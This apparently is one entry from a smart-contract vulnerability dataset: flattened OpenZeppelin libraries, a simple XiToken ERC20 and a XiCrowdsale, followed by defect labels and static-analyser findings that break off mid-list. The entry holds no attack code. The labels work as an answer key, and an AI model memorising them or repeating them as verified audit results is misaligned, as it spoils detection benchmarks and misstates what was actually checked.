* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*
* _Since v2.5.0:_ this module is now much more gas efficient, given net gas
* metering changes introduced in the Istanbul hardfork.
*/
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// File: @openzeppelin/contracts/crowdsale/Crowdsale.sol
pragma solidity ^0.5.0;
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conforms
* the base architecture for crowdsales. It is *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale is Context, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @param rate Number of token units a buyer gets per wei
* @dev The rate is the conversion between wei and the smallest and indivisible
* token unit. So, if you are using a rate of 1 with a ERC20Detailed token
* with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK.
* @param wallet Address where collected funds will be forwarded to
* @param token Address of the token being sold
*/
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0, "Crowdsale: rate is 0");
require(wallet != address(0), "Crowdsale: wallet is the zero address");
require(address(token) != address(0), "Crowdsale: token is the zero address");
_rate = rate;
_wallet = wallet;
_token = token;
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
* Note that other contracts will transfer funds with a base gas stipend
* of 2300, which is not enough to call buyTokens. Consider calling
* buyTokens directly when purchasing tokens from a contract.
*/
function () external payable {
buyTokens(_msgSender());
}
/**
* @return the token being sold.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the address where funds are collected.
*/
function wallet() public view returns (address payable) {
return _wallet;
}
/**
* @return the number of token units a buyer gets per wei.
*/
function rate() public view returns (uint256) {
return _rate;
}
/**
* @return the amount of wei raised.
*/
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* This function has a non-reentrancy guard, so it shouldn't be called by
* another `nonReentrant` function.
* @param beneficiary Recipient of the token purchase
*/
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met.
* Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(beneficiary, weiAmount);
* require(weiRaised().add(weiAmount) <= cap);
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address");
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid
* conditions are not met.
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
// solhint-disable-previous-line no-empty-blocks
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends
* its tokens.
* @param beneficiary Address performing the token purchase
* @param tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send
* tokens.
* @param beneficiary Address receiving the tokens
* @param tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions,
* etc.)
* @param beneficiary Address receiving the tokens
* @param weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Detailed.sol
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
/**
* @title XiToken
*/
contract XiToken is ERC20Detailed, ERC20 {
constructor(
) public ERC20Detailed("Xi Token", "XI", 18) ERC20() {
_mint(msg.sender, 1000000000 * 1e18);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
/**
* @title XiCrowdsale
*/
contract XiCrowdsale is Crowdsale {
constructor(address Xi) public Crowdsale(111111, 0x0978Aeb524DAe938748847fCD182d29478Af2D81, IERC20(Xi)) {}
}
| [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["679"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [305, 306]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [985]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [157, 158, 159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [337, 338, 339, 340, 341, 342, 343]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [968, 965, 966, 967]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [385, 386, 387, 388]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [374, 375, 376, 377, 378, 379, 380, 381, 382, 383]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [930, 931, 932, 933, 934, 935, 936]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [267, 268, 269, 270]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [370, 371, 372]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [230, 231, 232, 233, 234, 235, 236, 237]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [32, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [315, 316, 317]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [250, 251, 252]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [213, 214, 215]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [392, 393, 390, 391]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [736, 734, 735]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [720, 718, 719]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [712, 710, 711]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [837, 838, 839, 840, 841]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [874, 875, 876, 877]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [568, 569, 570]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [789, 790, 791]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [801, 802, 803, 804]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [856, 857, 858, 855]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [584, 582, 583]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [576, 577, 575]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [784, 782, 783]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [820, 821, 822, 823]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [561, 562, 563]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"XiCrowdsale.sol": [809, 810, 811]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [972]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [275]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [37]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [483]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [116]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [348]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [7]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [741]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [985]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [425]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [685]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"XiCrowdsale.sol": [568, 569, 570]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"XiCrowdsale.sol": [720, 718, 719]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"XiCrowdsale.sol": [561, 562, 563]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"XiCrowdsale.sol": [736, 734, 735]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"XiCrowdsale.sol": [712, 710, 711]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"XiCrowdsale.sol": [576, 577, 575]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [413]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [341]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"XiCrowdsale.sol": [32, 33, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [603]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"XiCrowdsale.sol": [980]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 992, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 820, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 502, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 37, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 116, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 275, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 348, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 425, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 483, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 685, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 741, "severity": 1}, {"rule": 